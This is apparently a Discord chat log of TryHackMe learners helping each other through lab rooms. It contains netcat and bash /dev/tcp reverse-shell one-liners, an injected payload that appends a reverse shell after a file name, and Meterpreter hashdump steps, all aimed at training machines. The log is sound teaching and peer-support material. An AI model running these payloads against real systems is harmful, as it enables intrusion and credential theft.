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naive bramble
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and still you do not get that PLAIN after AUTH ??

echo escarp
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yep

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I cant connect to this one

naive bramble
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sorry, then I do not have any idea
I hope someone with more knowlegde or experience can help you

echo escarp
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don't worry thx for trying

naive bramble
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YW

fervent elm
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It seems TLS/SSL is now enabled on the target machine. It doesn't used to be. So, either the VM is faulty or THM has forgotten to update the page text. Anyway, you can still complete the assignment. Just use this command instead of the telnet command:

openssl s_client -starttls pop3 -connect IP_ADDRESS_OF_TARGET_MACHINE:110 -crlf -quiet

The actual pop3 commands remain the same.

naive bramble
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and another "problem"

Burp suite basics
Task 10

I have done everything

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but no wierd endpoint to see in my site map

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what have I missed ?

fervent elm
naive bramble
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hmm, I thought I had all the links

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the logo, all the menu items, a link to send a ticket, contact , two buttons

fervent elm
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Then the endpoint should be there

naive bramble
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and it is not 🙁

fervent elm
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hint: the endpoint's name looks like gobbledygook

naive bramble
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I know

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but it is not there

fervent elm
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Then I don't know, it works for me though.

naive bramble
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I will try again 🙁

fervent elm
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In the site map, left panel where you see the host's ip address, can you expand it, the endpoint should be visible there as well

naive bramble
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moment, im trying again and burp is updating 🙁

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goimng crazy

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now the site map is empty 🙁

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oke

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no wierd endpoint to see

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@fervent elm

fervent elm
naive bramble
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o, can I do that on a attackbox ??

fervent elm
naive bramble
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oke, to be certain, you mean the ff in the attackbox or my own ff ?

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in the attackbox is is now true

fervent elm
naive bramble
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oke, that is now true

fervent elm
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do you mean it was false before?

naive bramble
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not sure

fervent elm
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@naive bramble I havent tried it from the attackbox. I'm using VPN and my own firefox/burp. Perhaps there is a problem with the attack box?

naive bramble
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but with javascript.enabled is true

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I see this:

fervent elm
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@naive bramble I will spin up an attackbox and try it

naive bramble
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oke, after lunch I will try it with my virtualbox kali

fervent elm
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jeez, attackbox is so sloooow 🙄

naive bramble
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free or a subscription ??

fervent elm
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I have sub

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Anyway, it works on the attackbox as well

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So, not sure what you are doing differently

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Maybe you can use Burp's ownbrowser instead of FF, just to eliminate FF as a possible culprit?

naive bramble
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oke

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im now trying to get foxyproxy work on my kali virtualbox

fervent elm
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just to make sure, you did click on "Support", right?

naive bramble
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yep

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clicked on it

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im starting attackbox again

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oke, I see the site

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starting up burp

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intercept off
and then intercept on

fervent elm
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no, leave intercept off

naive bramble
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oke

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and now I see the end-point

jagged bear
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Does anyone know how to hack TikTok pages?

fervent elm
naive bramble
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and i have the flag

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finally

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so with the challenges I have to set the intercept on off

jagged bear
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Does anyone know how to hack TikTok pages?

fervent elm
fervent elm
naive bramble
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oke, so for some challenges later it can be handy

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next badge : 30 day streak 🙂

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@fervent elm one question
A few days ago I tried the post-challenge explonation of meta sploit
Is it " normal" when you do migrate xxx and then hashmap that your session dies

naive bramble
fervent elm
naive bramble
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totally not a problem
Im not in a hurry

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Oke

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the hint and the explanation said to migrate to lsass

You will need to migrate to the "lsass.exe" process first (ps will list its PID), then run "hashdump".
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example from the text :

meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter >
fervent elm
naive bramble
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oke

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I will try that one

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but first a break

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Are you for yourself also busy with the security course
Or did you already did a path ?

fervent elm
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@naive bramble I did a few paths already, currently doing "offensive pentesting" path, but it's going very slowly, partially because of real life (aka work) and partially because I do a lot of extra research on the side and get easily side-tracked. F.e. the brainstorm CTF go me side-tracking to buffer overflow, reverse engineering, and brushing up my ancient knowledge about assembler language 😀

naive bramble
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oke

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im still on the pre path
And doubt between the pentester and the security analyst path

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but first finish the 101 path and I think that will costs me 1 - 2 weeks

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Thinking first to do this one : Jr Penetration Tester

fervent elm
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I have done: pre, 101, web fundamentals, jr pentest, and now offensive pentest

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ultimate goal is OSCP exam

naive bramble
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oke

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I doubt between pentester or SOC 1 and 2

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hope with the 101 I get a better idea what suits me

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this could be a nice hobby for a old man like me

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OSCP is a very expensive certificate

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@fervent elm thanks for the help and have a good 2026
here in 7 hours it is 2026

olive fogBOT
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Gave +1 Rep to @fervent elm (current: #610 - 12)

naive bramble
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What do I do here wrong

gobuster vhost -u offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --exclude-length 250-300

Track : Go buster the basics
Task : 6

Error message:

Error: error on running gobuster: unable to connect to http://offensivetools.thm/: Get "http://offensivetools.thm/": dial tcp [::1]:80: connect: connection refused
fervent elm
# naive bramble OSCP is a very expensive certificate

True. I don't generally believe in certification exams. I know enough people who have gotten this or that (fancy) certification and when it matters it appears they know really very little. The reason why I would like to do OSCP is because it's a very practical exam and it just sounds like crazy fun.

fervent elm
fervent elm
naive bramble
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oke, age > 50 ???

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pff

root@ip-10-81-127-3:~# cat /etc/resolv-dnsmasq 
nameserver 10.81.164.221

root@ip-10-81-127-3:~# gobuster vhost -u 10.81.164.221 --domain http://offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
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[+] Url:             http://10.81.164.221
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   false
===============================================================
Starting gobuster in VHOST enumeration mode
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Error: error on running gobuster: unable to connect to http://10.81.164.221/: Get "http://10.81.164.221/": http: invalid Host header
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gobuster vhost -u "http://offensivetools.thm" --domain http://offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://offensivetools.thm
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
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Error: error on running gobuster: unable to connect to http://offensivetools.thm/: Get "http://offensivetools.thm/": dial tcp [::1]:80: connect: connection refused
naive bramble
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solved

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the domain was not good

naive bramble
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Did I do this good:

attackbox:

root@ip-10-81-76-2:~# nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.81.131.119 54464
$ uname -a
Linux tryhackme 5.15.0-1070-aws #76~20.04.1-Ubuntu SMP Mon Sep 2 12:20:36 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
$ 

Target:

ubuntu@tryhackme:~$  rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.81.76.2 443 >/tmp/f

Room: Shells overview
Task: 3 (reverse shell)

I ask because my output looks other then the explanation

topaz forge
naive bramble
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When I type something behind the $ then I see a answer
but like you said It does totally not look at the examples
But got no idea what I have done wrong??

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hmm

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no real explanation how I get the shell to the target here :

Gaining Reverse Shell Access

Once we have our listener set, the attacker should execute what is known as a reverse shell payload. This payload usually abuses the vulnerability or unauthorized access granted by the attacker and executes a command that will expose the shell through the network. There's a variety of payloads that will depend on the tools and OS of the compromised system. We can explore some of them here.

As an example, let's analyze an example payload named a pipe reverse shell, as shown below.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f
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Attacker Receives the Shell

Once the above payload is executed, the attacker will receive a reverse shell, as shown below, allowing them to execute commands as if they were logging into a regular terminal in the OS.
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I assumed that I have to do the shell on the target

hasty mango
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hi , guys . i am confused . on networkin , wireshark task4 packet navigation question 2 . can anyone guide me please

fervent elm
hasty mango
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i can't know the step fpr gettting answer . please

fervent elm
hasty mango
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yes . it tell me to go on packet 39765

fervent elm
hasty mango
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yes

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i go there , i look for JPEG , i right-click and choose the export packet bytes. i download the file and put it in desktop . when i open the file i find it empty .

fervent elm
hasty mango
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ok , i try it now

fervent elm
naive bramble
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Can some one help me with the shell problem I posted yesterday

naive bramble
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This one:

Did I do this good: 

attackbox: 

root@ip-10-81-76-2:~# nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.81.131.119 54464
$ uname -a
Linux tryhackme 5.15.0-1070-aws #76~20.04.1-Ubuntu SMP Mon Sep 2 12:20:36 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
$ 

 

Target: 

ubuntu@tryhackme:~$  rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.81.76.2 443 >/tmp/f



Room:  Shells overview
Task: 3 (reverse shell) 

I ask because my output looks other then the explanation
hasty mango
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which room exist the task

naive bramble
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is stated in my question
Room: shells overview

fervent elm
naive bramble
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because on the page it looks like this:

attacker@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

target@tryhackme:~$

        
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and that looks totally not on what I have

fervent elm
naive bramble
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oke, then I can continue

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but not today
Not feeling good after a few hours sleeping on new year eve

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@fervent elm thanks for the confimation that im on the right way

olive fogBOT
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Gave +1 Rep to @fervent elm (current: #563 - 13)

hasty mango
naive bramble
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NP

naive bramble
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Why do my sessions die

meterpreter > migrate 680
[*] Migrating from 3232 to 680...
[*] Migration completed successfully.
meterpreter > hashdump

[*] 10.82.134.207 - Meterpreter session 1 closed.  Reason: Died

Room: metasploit meterer
Task :6
Question: What is the NTLM hash of the jchambers user?

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680 is the winlogon process
I tried also the lsass process but then also the session dies 🙁

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wierd, now with lsass it works

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finally this one also solved

topaz forge
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sometimes that happens, sometimes you have to try again or maybe double check config

naive bramble
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it this going well with the blue challenge :

msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.80.68.23:4433 
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (203846 bytes) to 10.80.141.102
[*] Meterpreter session 2 opened (10.80.68.23:4433 -> 10.80.141.102:49182) at 2026-01-02 16:26:51 +0000
[*] Stopping exploit/multi/handler
Interrupt: use the 'exit' command to quit
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.80.68.23:4433 
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (203846 bytes) to 10.80.141.102
[*] Stopping exploit/multi/handler
[*] Meterpreter session 3 opened (10.80.68.23:4433 -> 10.80.141.102:49183) at 2026-01-02 16:29:18 +0000
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?

naive bramble
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oke, Was doubting because a lot of sessions are made
And after session 3 opened nothing seems to happen

edgy smelt
naive bramble
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oke
So I have to wait ??

edgy smelt
edgy smelt
edgy smelt
naive bramble
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but I cannot continue because I do not see a prompt

edgy smelt
naive bramble
edgy smelt
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Then list all session - sessions

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then attach to meterpreter session - sessions -i 3

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Then u should see something like that meterpreter >

naive bramble
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Active sessions
===============

  Id  Name  Type                  Information            Connection
  --  ----  ----                  -----------            ----------
  1         shell x64/windows     Shell Banner: Microso  10.80.68.23:4444 -> 1
                                  ft Windows [Version 6  0.80.141.102:49180 (1
                                  .1.7601] -----         0.80.141.102)
  2         meterpreter x64/wind  NT AUTHORITY\SYSTEM @  10.80.68.23:4433 -> 1
            ows                    JON-PC                0.80.141.102:49182 (1
                                                         0.80.141.102)
  3         meterpreter x64/wind  NT AUTHORITY\SYSTEM @  10.80.68.23:4433 -> 1
            ows                    JON-PC                0.80.141.102:49183 (1
                                                         0.80.141.102)
edgy smelt
naive bramble
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done that

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im now looking which process I schould use

2412  816   WmiPrvSE.ex  x64   0        NT AUTHORITY\SYST  C:\Windows\system3
             e                           EM                 2\wbem\wmiprvse.ex
                                                            e
 2416  2196  powershell.  x64   0        NT AUTHORITY\SYST  C:\Windows\System3
             exe                         EM                 2\WindowsPowerShel
                                                            l\v1.0\powershell.
                                                            exe
 2488  692   svchost.exe  x64   0        NT AUTHORITY\SYST
                                         EM
 2552  692   vds.exe      x64   0        NT AUTHORITY\SYST
                                         EM
 2628  692   sppsvc.exe   x64   0        NT AUTHORITY\NETW
                                         ORK SERVICE
 2740  692   SearchIndex  x64   0        NT AUTHORITY\SYST
             er.exe                      EM
 3020  1608  powershell.  x64   0        NT AUTHORITY\SYST  C:\Windows\system3
             exe                         EM                 2\WindowsPowerShel
                                                            l\v1.0\powershell.
                                                            exe
 3028  544   conhost.exe  x64   0        NT AUTHORITY\SYST  C:\Windows\system3
                                         EM                 2\conhost.exe
List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).
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Looks like I could use powershell or conhost

edgy smelt
edgy smelt
naive bramble
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oke

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thanks

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one problem to solve:

cat c:/windows/system/config/flag2.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the path specified
edgy smelt
naive bramble
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Thanks,
Blue also solved

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now further on this path 🙂

edgy smelt
edgy smelt
naive bramble
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I will ,
A lot to do before I can begin on the jr. pentester track

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@edgy smelt what path(s) did you do?

edgy smelt
naive bramble
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I hope I can finish that one somewhere this year

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@edgy smelt thanks from a cold and wet Netherlands

olive fogBOT
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Gave +1 Rep to @edgy smelt (current: #236 - 43)

edgy smelt
naive bramble
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nice to hear for a beginner that there are experience people learn beginners like me things

naive bramble
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im confused at the shells room

I have to do this:

Using a web shell, exploit the unrestricted file upload vulnerability and get a shell. What is the content of the flag saved in the / directory?
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but when i use for example this :

bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1

To get it into the target box I could use ssh
But then I would not have to use the reverse shell

naive bramble
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When i enter:

;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f; 

And on attack box:

nc -lvnp 4444

but no connection

What am I doing wrong ?/

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Room: Shells overview
Task : 8

late quarry
fervent elm
# naive bramble but when i use for example this : ``` bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1 ...

You don't use this to get into the target box. This is a bash reverse shell that is intended to run inside the target and to establish an outbound connection to your listener on the attack box. That is the concept of a reverse shell: trigger a shell on the target that establishes an outbound connection to the attacker (listener). The opposite is called a bind shell where shell and listener are on the target and attacker establishes an inbound connection, but this direction of connection establishment is less likely to be allowed by firewalls.
Also, you mentioned "web shell", but this is not a reverse web shell. A web shell is written in a language supported by the web server, f.e. PHP, ASP, etc.

gleaming hedge
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room:shells overview is not working it worked before day but now its showing any tasks

main bane
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try to refresh and clear your cache, had the same problem with another room

naive bramble
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@fervent elm @late quarry
Then I have to look well what shell to use

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all shells mentioned have to run on the target machine
But as far as I know im doing this because I upload the shell with a upload screen

naive bramble
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I try the reverse or bind shell

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I tried :

;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 ; 
;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f; 
;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 80.1.1.1. 4444 > /tmp/f; 
;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 0.0.0.0 4444 > /tmp/f; 

but all not a success

late quarry
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Also, not sure why you keep starting your payloads with ;.

naive bramble
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I only upload that script
And use nc on my attackbox
@late quarry

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and I placed it between two ; because of this hint

This is the hint you’re looking for: Place your reverse shell payload in between two ;
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or schould I use something like this;

 bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1 
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also this one is not working

 bash -i >& /dev/tcp/10.81.95.82/4444 0>&1 
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@late quarry

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I wonder if the problem is not here:

root@ip-10-81-95-82:~# nc -nlvp 4444
Listening on 0.0.0.0 4444

late quarry
naive bramble
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Then I do not have a clue what I do wrong

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I use a listener
Am uploaded a reverse shell

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and still no connection 🙁

late quarry
naive bramble
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oke, just at home

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@late quarry still no luck

ivory prairie
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did you remember the '?

naive bramble
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is this a question for me ??

ivory prairie
naive bramble
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if so, I do not see what it has to do with my question

ivory prairie
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ok so you have to give the instruction to hash a file first right

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then you give your instruction

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so the program does both

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i wanted to use the ; sign

naive bramble
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yes

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or do you mean i Have to use the ; ?
tried that with also no luck

ivory prairie
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wanna go to vc??

naive bramble
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vc ??

ivory prairie
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voice chat

naive bramble
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no, im very bad at English and I hate vc
Sorry

ivory prairie
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it was so i could see your screen haha

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ok so remember that when you use a vulnerabilitie like command injection

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you have to somewhat respect the original syntaxis

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so

hello.txt; <your nc command>

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Try with
||hello.txt; rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.80.97.85 444 >/tmp/f||

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I did some corrections you were missing

naive bramble
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Thanks, adding the hello.txt works

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finally this one solved

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@ivory prairie thanks a lot

olive fogBOT
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Gave +1 Rep to @ivory prairie (current: #3514 - 1)

ivory prairie
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always to help UwU

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I can't download the task files from task 5 in cyberchefbasics, anybody can send it to me :(

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is opera gx blocking the button or something?

naive bramble
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sorry, im not so far at the moment

umbral lance
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guys i want to learn cyber security but i don `t understand

naive bramble
ivory prairie
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thank you babes

naive bramble
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babes ??

ivory prairie
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it's a very affeminate phrase haha

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don't worry about it

naive bramble
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i do not as a old crumpy man 🙂

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GN

main bane
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Hi,

I'm doing the practical shell exercice (task 8 in shell room). We're supposed to have a landing page at:
10.80.135.15:8080

I tried to access this landing page, but it doesn't work. And yes, the attackBox (10.80.68.87) can ping the vulnerable machine (10.80.135.15).

I also tried localhost:8080 in the browser on the vulnerable machine, it doesn't work as well.

main bane
ivory prairie
naive bramble
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For me tomorrow chapter 12 - 13 - 14 and then this part is ready

main bane
naive bramble
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Doubt between security analyst and jr pen tester

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and you ?

naive bramble
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@main bane

main bane
# naive bramble and you ?

Oh nice! Me I'm sure I'll do the Security Engineer path after this one. I already have a computer science engineer degree, so that can help to get a job.

naive bramble
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Nice

naive bramble
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May I have a hint here:

OWASP Top 10 2025: Application Design Flaws
Task 4 crypto failures

I found the key but how do I know what decrypt method I need to use

teal zephyr
naive bramble
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@fervent elm did you send all the snow to the Netherlands 😛 ?

fervent elm
naive bramble
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oke

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then I have to find someone else to blame

teal zephyr
olive fogBOT
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Gave +1 Rep to @fervent elm (current: #499 - 15)

teal zephyr
# fervent elm I think <#1333993673381253162> is the proper place.

well it turns out there is already a bug report on the issue, but OP closed it saying that restarting the machine a couple of times solved it. I tried that and it didnt work, and I see no reason why that would solve this particular issue. https://discord.com/channels/521382216299839518/1444920113089347614

So I replied to the thread explaining the problem, workaround and the possible solutions. I am not sure if this is enough to reopen the issue though. But I will leave it at that.

naive bramble
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How would I l know how to decrypt this :

77xØvFB–’eôâ§U­JðGèÿÃùg)¹®ƒ}h¥}[/©À¯v®HcÁ×ýâh|»EÛ¥úz^ÙøG_2ž{Õ®áûëÍÊÂüÙëä
ɱViç@Ù'bH^
fervent elm
naive bramble
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Owasp top 10 : task 4

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you get this one :

Nzd42HZGgUIUlpILZRv0jeIXp1WtCErwR+j/w/lnKbmug31opX0BWy+pwK92rkhjwdf94mgHfLtF26X6B3pe2fhHXzIGnnvVruH7683KwvzZ6+QKybFWaedAEtknYkhe 

With as hint:

Nothing of interest could be detected about the input data.
Have you tried modifying the operation arguments?
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@fervent elm
Still trying out what this means?

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the hint

naive bramble
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but from base 64 and something else do not have arguments

fervent elm
# naive bramble Owasp top 10 : task 4
Note: The decryption feature is currently unavailable. Contact your administrator for access.

This makes me think you should investigate the web site.

naive bramble
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I did already and on one place I found a key

naive bramble
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but I solved this with some cyberchef try and error

errant solar
naive bramble
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I did but find nothing that could lead to a api

errant solar
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Check the JS?

naive bramble
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I did ,there I found a key

errant solar
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Try pasting the function code into google too for analysis

naive bramble
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oke
ChatGPT found this :

If you want to correctly identify the intended method

Based on naming alone (NOT implementation), the author likely intended:

AES-128 in ECB mode
naive bramble
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IM going to leave this channel.
Did this course in 3 -4 weeks and it was fun

Everyone who helped me in this journey thanks a lot
Time to try the Soc courses

hybrid yew
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@naive bramblegood luck

pine zephyr
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Can anyone help me with the analysis of the result obtained after cracking the hash values asked in the questions in Hashing Basics room. The hashes corresponding to first three questions results in the corresponding data-

  1. Hash: 85208520
    Candidates. #1.....85208520 -> 25251325.
    The answer to the first question was 85208520
  2. Hash: halloween
    Candidates. #1....gators -> dangerous.
    The answer to this question was "halloween"
  3. Hash: spaceman
    Candidates.#1....sunshine13 -> scrubs.
    The answer to question was "spaceman"
    My doubt is which one of the obtained values is the password and what is meant by the other output values.
errant solar
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Other outputs are just the program giving you status about what it is checking at the current time?

harsh lance
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I'm currently in the Networking Core Protocols room. I'm on task 4, but I can't figure out the login credentials for Telnet. Anyone able to help?

fervent elm
naive bramble
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oke

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We are snowed in so I cannot leave house today

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@fervent elm today code orange here in the Netherlands

fervent elm
naive bramble
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no fun

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daugther is today at home.
Work has shut down so she is bored already 😢

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and im tired like hell like the last few weeks

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Thet expect 5 - 10 cm snow @fervent elm

sinful mulch
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how much time will it take to finish 101?

naive bramble
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depends on how many time you can spend

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if im right,you can find the answer on the page when you are ready when you spend x hour a week

limber lily
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@harsh lance you do not need credentials to use telnet. Just use telnet and ip address

harsh lance
olive fogBOT
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Gave +1 Rep to @limber lily (current: #2284 - 2)

limber lily
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i just opened the dicord after so many days

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good that you found that

tame creek
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Have someone here finished cyber-101. And how long did it take?

outer patio
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the machine in AD Basics isnt working 🙁

hollow ginkgo
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CAN any one help me to find this answer What is the name of the service listening on port 135?

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@thorn patio

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@cerulean tulip

lethal sluice
hollow ginkgo
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@lethal sluice i used netstat -abon

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the answer came like big and but i searched in google i got answer

lethal sluice
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If i looked at netstat correctly, it shows all listening ports for your device.

wicked ravine
fleet lava
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any recommandations ?

outer bridge
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Hey everyone. Looking for some help, Im in the Application Design Flaws OWASP Top 10 room. I'm at the software supply chain failures section. Completely stuck. Not sure what to do. I've tried this curl request with the python script they provided in the task files: "curl -X POST -d script.py <Target URL>" but getting an unsupported media type error

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I feel like they gave a pretty vague explaination and then just threw me in the deep end on this one lol. And the hint is just to check /api/process. I'm not really getting anything from that other than I won't be getting this flag through the browser

final atlas
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hello guys , i am stuck on question 2 of task 4 of wire shark basics , they have asked to input MD5 hash of the image; i acquired this hash "15e4fa8321e1ae47590f2766a3ae035a" but this is not working , can any one pls help

grave sun
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The FlareVM is basically unusable. You can only start one app before it just freezes.

errant solar
rich shard
languid wind
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In the john the ripper room, It wants me to get the flag inside the zip file, do I extract it in vm?

languid wind
olive fogBOT
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Gave +1 Rep to @lethal sluice (current: #667 - 11)

brave scroll
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Little lost on the last question for Task 6 in Windows Powershell

'Now a small challenge to put it all together. This shady lad that we just found hidden among the local users has his own home folder in the "C:\Users" directory.
Can you navigate the filesystem and find the hidden treasure inside this pirate's home?'

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Not sure where I am going wrong as when I cd 'C:\users\plr4t3' - it tells me that it does not exist

dapper pulsar
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C:\\Users\\plr4t3

finite ridge
dapper violet
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Hello! Should i wait this finish? very slow

fathom gull
forest axle
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Hello, How are you guys?
I need some help understanding what I am doing wrong? I am currently on the Active Directory course and I need to reset Claire's password AS phillip but the powershell keeps showing administrator and not phillip. I have tried changing it but i am not sure how.

forest axle
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Nevermind, I figured it out.

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NExt question, how exactly do I log onto sophie's computer? Because I can't sign out on the VM and I am not using the RDP version ?

brave scroll
olive fogBOT
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Gave +1 Rep to @dapper pulsar (current: #3538 - 1)

weary relic
polar shoal
forest axle
forest axle
olive fogBOT
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Gave +1 Rep to @polar shoal (current: #2294 - 2)

polar shoal
forest axle
polar shoal
echo escarp
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Hey, Im doeing the "Blue" room but I can't manage to run the exploit. Each times I run the "exploit" command, it fails. I tried to reboot the machine but it didnt help. Here are my options. Can you help me please

teal zephyr
echo escarp
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I went to bed so I check tomorrow but there is a high probability that this is why it doesn't work

teal zephyr
echo escarp
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Yeah I already got the same problem but didn't think about it lol

ashen sand
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Hey. Does anyone have any reccomendations for reading material on powershell? I feel like I need to work more on Powershell room from the Sec 101 path.

brave scroll
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Probably a silly question but how can I copy and paste into the attack box? Ive done the usual ctrl+c and the ctrl+v but its like it doesnt transfer from the normal windo to the emulation

finite ridge
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it seems to work with chromium based browsers, but with firefox you have to use the little popout for paste

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the line that divides the two halves of the screen is a little thicker in the middle and you can pop out a menu for paste there

brave scroll
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Ah that makes sense. I am using firefox

glass ridge
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Guys it says oops this page failed
To load

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Why is tryhackme’s availability so bad

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Its probably cause i bought the subscription sorry guys

tight rampart
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estoy en el ejercicio 7 de hashing basic, la pregunta es:
What’s the hashcat mode number for HMAC-SHA512 (key = $pass)?

tight rampart
tight rampart
shy kiln
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I have one more room but the queue got me 😔

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It's back! Time to complete the last room :D

shy kiln
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I did it!!! I completed the path :D

main bane
shy kiln
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Thanks!

main bane
shy kiln
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Probably SOC Level 1

main bane
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Good luck!

grand widget
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I’m doing the Networks module, and I’ve been writing notes in Markdown for them. I’m understanding everything insanely better in that context.

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Just worked about forgetting everything

naive bramble
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@shy kiln a nice path.
Im following it right now

void lotus
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In the exercise of the Metasploit:Exploitation Task 6 Msfvenom, I was unable to get the meterpreter session opened successfully. After starting the reverse TCP handler in the attackbox, run ./payload.elf in the target machine. Each time going back to the attackbox I got "Meterpreter session 1 closed. Reason: Died". Please help. Thanks.

errant solar
void lotus
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I used linux/x86/meterpreter/reverse_tcp payload. I was told to double check whether the target machine is 32-bit or 64-bit before generating the payload.

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Penderrin, what are other types of payload I could try?

jagged current
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Guys Im new here, if someone could help me out with cybersecurity

limber lily
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@jagged currentin which role you have interest?

clear bone
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hii guys im new here and im interested in bug bounty how to begin and what to learn ?? can some one help me with it

jagged current
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@limber lily Pentesting

limber lily
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try completing pre security and cyber security path 101

zealous lark
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Metasploit: Meterpreter

Can someone help me get a meterpreter running for this lab?

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I just made a pause learning and got stuck here, I can't exploit the machine to get a session, I used eternalblue but it's not vulnerable to it

zealous lark
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nvm

errant solar
jagged current
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@limber lily thanks

olive fogBOT
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Gave +1 Rep to @limber lily (current: #1752 - 3)

crude stump
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~~Morning everyone (well, whoever is in the UK that is), just doing a sense-check while starting on Wireshark: The Basics.

Task 2, question 1: I am not seeing the "JPEG" mentioned in the comments, not sure if I have missed a terminology or something more obvious....

"Go to packet number *****
Look at the "packet details pane". Right-click on the JPEG section and "Export packet bytes". This is an alternative way of extracting data from a capture file. What is the MD5 hash value of extracted image?" "

I have exported the first line, and went in to that file's properties and found the MD5 hash, but it no worky on crackstation or cyberchef :/~~

Solved: I was working from the merged file after following the steps. Left and opened the Exercise.pcappng file and all shows as it should!

jade lily
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Just wondering, whilst running through the 101 path are there any good challenges etc or anything else that can be done to reinforce the learning.

glad hound
jade lily
olive fogBOT
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Gave +1 Rep to @glad hound (current: #427 - 19)

glad hound
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Then on Difficulty you I would recommend Info or Easy.

It's never wrong to try out a challenge. They can be pretty tough and not really covered in the 101-path, but the info is out there and if you're curious/stubborn enough you'll eventually solve it

jade lily
olive fogBOT
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Gave +1 Rep to @glad hound (current: #407 - 20)

steady heart
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Hi guys…please can someone help me with the Lab Practical Task in the Shell Overview room? Am stuck on it for hours…I can’t obtain a reverse shell regardless of all the suggestions I had from echo.

grand widget
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I am only 55% done with the pathway, so I have not gotten that far yet

cold ermine
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Hi all,
I'm doing the Metasploit - Exploitation room and I do have an issue with the last exercise from task 2.
==> "What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task. "

I have set my RHOSTS , PASS_FILE and SMBUSER but I get this error:
"Msf::OptionValidateError One or more options failed to validate: PASS_FILE."

Any Idea how to solve that error ?
I have checked on Google ans with AI but can't find a proper solution...

Thanks

true solar
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hii

steady heart
grand widget
grand widget
grand widget
steady heart
olive fogBOT
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Gave +1 Rep to @grand widget (current: #3577 - 1)

zealous lark
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Hello Guys, on Hydra lab I am running this command but I cannot get the password, I am surely doing something wrong but don't know what. I get the 50h+ estimated waiting time.

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can somebody help me ?

cosmic agate
cosmic agate
# zealous lark Hello Guys, on Hydra lab I am running this command but I cannot get the password...

hey, I found out what caused the problem.
Go to the first example command on the site when it gets to the POST WEB FORM part, this one:
"sudo hydra <username> <wordlist> 10.67.155.68 http-post-form "<path>:<login_credentials>:<invalid_response>""

Compare it to your command, and you'll see that something is missing.
If it's still not clear, go and check the login page in the browser. The URL contains the same thing that's missing from the command. 😉 Good luck!

grand widget
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I have been doing the Metasploit modules, and it seems like I can never get a connection to the machine I am supposed to be hacking. Is this normal?

tight rampart
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En el ejercicio 8 de John The Ripper viene esta pregunta:
What rule would we use to add all capital letters to the end of the word?
a lo cual estoy respondiendo ¨Az¨[A-Z]¨¨ pero me lo marca como error, alguien sabe porque?

raw cosmos
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Guys how much time do everyone spent on THM course everyday??

zealous lark
olive fogBOT
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Gave +1 Rep to @cosmic agate (current: #2324 - 2)

zealous lark
fierce galleon
burnt rune
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@fierce galleon which time dude?

fierce galleon
brisk mountain
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Hello guys did some of you guys found alternative for the linux fundamentals? i don't want to pay for the subscription just yet. thank you !

dapper dagger
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Could you please help me? I’m currently studying Active Directory and practicing with a lab.
Right now, I’m working on the task of creating an automatic lock screen policy. I’ve already navigated to Computer Configuration > Policies > Windows Settings > Security Settings, but according to the attached screenshot, I can’t find Local Policies > Security Options > Interactive logon: Machine inactivity limit.
I’m not sure if I did something wrong or if I missed any step.

slate wharf
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Can someone give me a hand, please? I already restarted my PC and logged out from the webpage, but I still have the same issue. I can’t connect to the remote machine using the SSH command: ssh root@10.48.156.30. I’m entering the correct password (Tryhackme123!), but I keep getting the response: Permission denied. Could anyone help me, please? and i cycbersecurity101 commands line; task 3; NETWORK Troubleshooting

hallow slate
modest glen
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Hi everybody,

I just passed SEC1, and the Cyber Security 101 path is clearly very far from enough to get decent results at the exam in Web Pentesting and Bruteforcing/Cracking.

